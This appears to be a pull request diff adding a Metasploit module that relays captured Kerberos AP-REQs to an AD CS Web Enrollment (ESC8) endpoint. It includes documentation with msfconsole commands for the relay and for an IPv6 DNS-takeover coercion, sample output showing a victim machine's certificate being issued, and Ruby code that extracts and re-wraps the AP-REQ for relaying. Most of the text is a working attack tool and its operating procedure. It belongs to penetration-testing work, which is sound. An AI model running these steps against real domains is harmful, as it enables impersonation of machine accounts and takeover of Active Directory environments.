Skip to content
127 changes: 127 additions & 0 deletions documentation/modules/auxiliary/server/relay/esc8_kerberos.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,127 @@
## Vulnerable Application

This module creates an SMB server and relays the **Kerberos** authentication it
captures to an AD CS HTTP(S) Web Enrollment (ESC8) endpoint, then requests a
certificate on behalf of the coerced principal. It is the Kerberos counterpart
to `auxiliary/server/relay/esc8` (which relays NTLM): instead of an NTLM
NTLMSSP exchange, it extracts the Kerberos AP-REQ from the SPNEGO blob a victim
sends to the SMB server and replays it to the CA over HTTP `Authorization:
Negotiate`.

Because a Kerberos service ticket is bound to a specific service principal name
(SPN), the victim must be coerced into authenticating to a name whose SPN the
attacker can relay. This is done with a DNS-takeover coercion module (see the
Scenarios section), which is the technique described in CVE-2026-20929: an
IPv6 DNS takeover (rogue DHCPv6 or Router Advertisement) hands the attacker as
the victim's DNS server, and a CNAME record steers the victim's connection to
the attacker's SMB server while the ticket is still issued for the target SPN.

Unlike NTLM relay, the AP-REQ is encrypted, so the authenticating identity is
not visible on the wire. The operator supplies the coerced principal via
`RELAY_IDENTITY` so the module can pick the correct certificate template and
label its output.

## Verification Steps

This module is the relay half of a two-part technique and is normally paired
with a coercion module. For the full end-to-end setup see the Scenarios section.

1. Configure an ESC8-vulnerable host (AD CS with HTTP Web Enrollment enabled)
* See https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/overview.html#setting-up-a-esc8-vulnerable-host
2. Start `msfconsole`
3. Do: `use auxiliary/server/relay/esc8_kerberos`
4. Set `RHOSTS` to the AD CS Web Enrollment server
5. Set `RELAY_IDENTITY` to the principal you will coerce (for example `WIN-VICTIM$@ad.example.com`)
6. Run the module and, in parallel, coerce the victim (see Scenarios)
7. Wait for the Kerberos AP-REQ to be relayed and a certificate to be issued

## Options

### MODE

The issue mode. Controls what the module does once the relayed connection to
the Web Enrollment server is authenticated. Must be one of:

* ALL: Enumerate all available certificate templates and issue each of them.
* AUTO: Automatically select the `User` or `Machine`/`DomainController` template
based on whether the coerced `RELAY_IDENTITY` is a user or a machine account
(machine accounts end in `$`).
* QUERY_ONLY: Enumerate available certificate templates but do not issue any.
* SPECIFIC_TEMPLATE: Issue only the template named in `CERT_TEMPLATE`.

### CERT_TEMPLATE

The template to issue when `MODE` is `SPECIFIC_TEMPLATE` (for example `Machine`
or `User`).

### RELAY_IDENTITY

The Kerberos principal you are coercing (for example `WIN-VICTIM$@ad.example.com`
or `labuser@ad.example.com`). Because the relayed AP-REQ is encrypted, this
identity is not recoverable from the wire; the module uses it to choose the
certificate template (in `AUTO` mode) and to label its output. It does not need
to match a password or key.

`RHOSTS` is the AD CS Web Enrollment host to relay to, and the module listens for
the coerced Kerberos authentication on the SMB port (`SRVPORT`, default 445).

## Scenarios

The technique has two halves running at the same time: this relay server, and a
coercion module that (a) makes the victim use the attacker as its DNS server and
(b) steers the victim's connection to the attacker while the Kerberos ticket is
still minted for the real target SPN.

### Full coerce-to-certificate flow (native IPv6 DNS takeover)

Terminal 1 - start the relay server:

```
msf > use auxiliary/server/relay/esc8_kerberos
msf auxiliary(server/relay/esc8_kerberos) > set RHOSTS ca.ad.example.com
msf auxiliary(server/relay/esc8_kerberos) > set RELAY_IDENTITY WIN-VICTIM$@ad.example.com
msf auxiliary(server/relay/esc8_kerberos) > set MODE SPECIFIC_TEMPLATE
msf auxiliary(server/relay/esc8_kerberos) > set CERT_TEMPLATE Machine
msf auxiliary(server/relay/esc8_kerberos) > run
[*] Auxiliary module running as background job 0.
[*] SMB Server is running. Listening on 0.0.0.0:445
```

Terminal 2 - coerce the victim with the native IPv6 DNS takeover (either the
DHCPv6 or the Router Advertisement module):

```
msf > use auxiliary/spoof/ipv6/ipv6_ra_dns_takeover
msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > set TARGET_DOMAIN ad.example.com
msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > set SPOOF_IP6 dead:beef::5
msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > set RELAY_CNAME attacker.ad.example.com
msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) > run
```

Once the victim resolves the target service through the attacker and
authenticates to the attacker's SMB server, the relay server extracts the
AP-REQ, replays it to the CA, and saves the issued certificate:

```
[*] New Kerberos request from 192.168.64.2
[*] Received AP-REQ for coerced principal WIN-VICTIM$@ad.example.com
[*] Relaying to next target http://ca.ad.example.com/certsrv/
[+] Successfully authenticated against relay target http://ca.ad.example.com/certsrv/
[*] Creating certificate request for WIN-VICTIM$ using the Machine template
[*] Requesting relay target generate certificate...
[+] Certificate for WIN-VICTIM$ using template Machine saved to ~/.msf4/loot/..._windows.ad.cs_....pfx
```

The resulting `.pfx` can then be used with `auxiliary/admin/kerberos/get_ticket`
(PKINIT) to obtain a TGT for the coerced account.

## Notes

* This module supports Kerberos only; for NTLM relay to ESC8 use
`auxiliary/server/relay/esc8`.
* The relay is one-shot per coerced authentication: a Kerberos AP-REQ is bound to
the SPN it was issued for, so there is no NTLM-style multi-target challenge loop.
* A full end-to-end run against a live domain requires the CA and the KDC to be
reachable during coercion. When the CA and KDC are the same host, use the
CNAME/passthrough options of the coercion module so the KDC leg stays reachable
while the service connection is hijacked.
151 changes: 151 additions & 0 deletions lib/msf/core/exploit/remote/relay/kerberos/gss_ap_req.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,151 @@
# -*- coding: binary -*-

module Msf
class Exploit
class Remote
module Relay
module Kerberos
# GSS-API wrapping and unwrapping of a Kerberos AP-REQ for relaying
# (CVE-2026-20929, Kerberos authentication relay via DNS CNAME abuse).
#
# Two directions, both used by the relay: {#extract_ap_req} pulls a
# captured AP-REQ out of a coerced client's token (used by the relay
# server), and {#build_spnego_ap_req} re-wraps that AP-REQ into a fresh
# GSS-SPNEGO blob to send to the real service (used by the relay target).
#
# The AP-REQ is carried as opaque DER, never interpreted: the client's
# identity lives in the encrypted ticket/authenticator, which only the
# real target service can decrypt, and
# {Rex::Proto::Kerberos::Model::ApReq#decode} is not implemented anyway.
module GssApReq
include Rex::Proto::Gss::Asn1

# The 2-byte token id prefixing a GSS-wrapped KRB_AP_REQ.
# https://datatracker.ietf.org/doc/html/rfc1964#section-1.1.1
TOK_ID_KRB_AP_REQ = "\x01\x00".b.freeze

# OIDs (compared by value) that identify a Kerberos v5 mechanism
# inside a GSS token: the standard mech and Microsoft's variant.
KERBEROS_MECH_OIDS = [
Rex::Proto::Gss::OID_KERBEROS_5.value,
Rex::Proto::Gss::OID_MICROSOFT_KERBEROS_5.value
].freeze

# Pull the raw AP-REQ out of a client's GSS-API authentication token.
#
# @param security_blob [String] The raw GSS-API token from the
# client's authentication attempt. Either a SPNEGO NegTokenInit
# (the usual HTTP/SMB case) or a bare GSS Kerberos token.
# @return [String] The captured AP-REQ as DER bytes, ready to be
# re-wrapped via {ServiceAuthenticator::Base#encode_gss_spnego_ap_request}
# and forwarded to a relay target.
# @raise [ArgumentError] if the blob does not carry a Kerberos AP-REQ.
def extract_ap_req(security_blob)
blob = security_blob.to_s.b
mech_id, token = safe_unwrap(blob)

# SPNEGO wraps the real mechanism token one level deeper; unwrap it.
if mech_id.value == Rex::Proto::Gss::OID_SPNEGO.value
mech_id, token = safe_unwrap(spnego_mech_token(blob))
end

unless KERBEROS_MECH_OIDS.include?(mech_id.value)
raise ArgumentError, 'GSS blob does not contain a Kerberos mechanism'
end

unless token.to_s.start_with?(TOK_ID_KRB_AP_REQ)
raise ArgumentError, 'GSS Kerberos token is not an AP-REQ'
end

token.byteslice(TOK_ID_KRB_AP_REQ.bytesize..-1).to_s
end

# Whether the incoming blob carries a Kerberos AP-REQ (as opposed to an
# NTLM message), letting a shared relay server dispatch on mechanism.
#
# @param security_blob [String] The raw GSS-API token.
# @return [Boolean]
def kerberos_ap_req?(security_blob)
extract_ap_req(security_blob)
true
rescue ArgumentError
false
end

# Re-wrap a captured AP-REQ into a GSS-SPNEGO blob suitable for
# sending to a relay target's HTTP/SMB service. The inverse of
# {#extract_ap_req}: a token produced here round-trips back to the
# same AP-REQ bytes.
#
# This mirrors the envelope built by
# {ServiceAuthenticator::Base#encode_gss_spnego_ap_request} but takes
# raw AP-REQ DER rather than an ApReq model object, because the relay
# only ever holds the captured bytes (ApReq#decode is unsupported).
#
# @param ap_req_der [String] The captured AP-REQ as DER bytes, e.g.
# from {#extract_ap_req}.
# @return [String] A SPNEGO NegTokenInit carrying the AP-REQ.
def build_spnego_ap_req(ap_req_der)
mech_token = wrap_pseudo_asn1(
Rex::Proto::Gss::OID_KERBEROS_5,
TOK_ID_KRB_AP_REQ + ap_req_der.to_s.b
)

OpenSSL::ASN1::ASN1Data.new([
Rex::Proto::Gss::OID_SPNEGO,
OpenSSL::ASN1::ASN1Data.new([
OpenSSL::ASN1::Sequence.new([
OpenSSL::ASN1::ASN1Data.new([
OpenSSL::ASN1::Sequence.new([Rex::Proto::Gss::OID_MICROSOFT_KERBEROS_5])
], 0, :CONTEXT_SPECIFIC),
OpenSSL::ASN1::ASN1Data.new([
OpenSSL::ASN1::OctetString.new(mech_token)
], 2, :CONTEXT_SPECIFIC)
])
], 0, :CONTEXT_SPECIFIC)
], 0, :APPLICATION).to_der
end

private

# Unwrap a GSS pseudo-ASN.1 token to its leading mechanism OID and the
# bytes that follow, normalizing any decode failure into an
# ArgumentError so callers only handle one error type. Uses
# {Rex::Proto::Gss::Asn1#unwrap_pseudo_asn1}, which stops at the OID
# and so tolerates the pseudo-ASN.1 (raw token id + AP-REQ) that a
# full OpenSSL::ASN1 decode would reject.
#
# @param blob [String]
# @return [Array(OpenSSL::ASN1::ObjectId, String)] mechanism id and token
# @raise [ArgumentError] if the blob is not a GSS-API token
def safe_unwrap(blob)
mech_id, token = unwrap_pseudo_asn1(blob)
unless mech_id.respond_to?(:value)
raise ArgumentError, 'GSS blob does not contain a Kerberos mechanism'
end

[mech_id, token]
rescue OpenSSL::ASN1::ASN1Error
raise ArgumentError, 'GSS blob does not contain a Kerberos mechanism'
end

# The mechanism token carried inside a SPNEGO NegTokenInit.
#
# @param blob [String] a SPNEGO NegTokenInit
# @return [String] the wrapped GSS mechanism token
# @raise [ArgumentError] if the SPNEGO token cannot be parsed
def spnego_mech_token(blob)
init = Rex::Proto::Gss::SpnegoNegTokenInit.parse(blob)
token = init.mech_token
raise ArgumentError, 'SPNEGO token carries no mechanism token' if token.nil?

token
rescue RASN1::ASN1Error => e
raise ArgumentError, "Failed to parse SPNEGO token: #{e.message}"
end
end
end
end
end
end
end
63 changes: 63 additions & 0 deletions lib/msf/core/exploit/remote/relay/kerberos/relay_handler.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,63 @@
# -*- coding: binary -*-

module Msf
class Exploit
class Remote
module Relay
module Kerberos
# Orchestrates relaying a captured client GSS token to a target for a
# Kerberos relay (CVE-2026-20929). Protocol-agnostic: an SMB or HTTP
# relay server client includes this and supplies the incoming security
# blob; the RubySMB/HTTP plumbing lives in the including class.
#
# This is the Kerberos counterpart to the NTLM server client's
# relay_ntlmssp, but the flow is one-shot. A captured AP-REQ is a
# complete credential, so there is no challenge/response and no
# per-identity target selection: the AP-REQ is cryptographically bound
# to the SPN the attacker coerced the victim to request, so it can only
# be relayed to the service matching that SPN.
#
# The including class must provide a +logger+ responding to
# print_status / print_good / print_warning.
module RelayHandler
include Msf::Exploit::Remote::Relay::Kerberos::GssApReq

# Relay a captured client GSS token to a target when it carries a
# Kerberos AP-REQ. Returns nil without touching the target when the
# token is not Kerberos, so a shared relay server can fall through to
# its NTLM path.
#
# @param security_blob [String] the incoming client GSS-API token
# @param client [Target::HTTP::Client] the connected relay target client
# @param target [Object] the relay target descriptor (for logging)
# @param relay_targets [Object, nil] notified via on_relay_end, if given
# @param listener [Object, nil] notified via on_relay_success / on_relay_failure
# @param identity [String, nil] the client principal, if already known
# @return [Msf::Exploit::Remote::Relay::Kerberos::Target::RelayResult, nil]
def relay_kerberos(security_blob, client:, target:, relay_targets: nil, listener: nil, identity: nil)
return nil unless kerberos_ap_req?(security_blob)

ap_req = extract_ap_req(security_blob)
logger.print_status("Relaying Kerberos AP-REQ to #{target}")

result = client.relay_ap_req(ap_req)
is_success = !result.nil? && result.success == true
relay_targets&.on_relay_end(target, identity: identity, is_success: is_success)

if is_success
logger.print_good("Successfully relayed Kerberos AP-REQ to #{target}")
listener&.on_relay_success(relay_connection: client, relay_identity: identity)
else
logger.print_warning("Relay of Kerberos AP-REQ to #{target} failed")
listener&.on_relay_failure(relay_connection: client)
client.disconnect!
end

result
end
end
end
end
end
end
end
38 changes: 38 additions & 0 deletions lib/msf/core/exploit/remote/relay/kerberos/target.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
# -*- coding: binary -*-

# Kerberos relay targets (CVE-2026-20929). Mirrors the structure of the NTLM
# relay stack under {Msf::Exploit::Remote::Relay::NTLM::Target}: a relay server
# captures a client's Kerberos AP-REQ and hands it to a target here, which
# replays it to a real service via a per-protocol client.
module Msf::Exploit::Remote::Relay::Kerberos::Target
# The outcome of replaying a captured AP-REQ to a relay target.
#
# @!attribute message
# @return [Object, nil] The target's response (e.g. the HTTP response), if any.
# @!attribute success
# @return [Boolean] Whether the target accepted the relayed AP-REQ.
# @!attribute identity
# @return [String, nil] The authenticated principal, once known (the AP-REQ
# itself carries the identity encrypted, so this is filled in by the target
# flow rather than read from the AP-REQ).
RelayResult = Struct.new(:message, :success, :identity, keyword_init: true)

# Build the relay target client for a target's protocol, bound to the relay
# server connection. Mirrors the NTLM server client's create_relay_client;
# the single dispatch point new protocols (e.g. LDAP) plug into.
#
# @param provider [Object] the relay server connection (supplies the TLS context)
# @param target [Object] the relay target descriptor (its #protocol selects the client)
# @param logger [Object] receives print_* logging calls
# @param timeout [Integer] send/recv timeout (-1 for the default)
# @return [Object] a per-protocol relay target client
# @raise [ArgumentError] if the target protocol has no Kerberos relay client
def self.create_client(provider, target, logger, timeout)
case target.protocol
when :http, :https
HTTP::Client.create(provider, target, logger, timeout)
else
raise ArgumentError, "unsupported Kerberos relay target protocol: #{target.protocol}"
end
end
end
Loading
Loading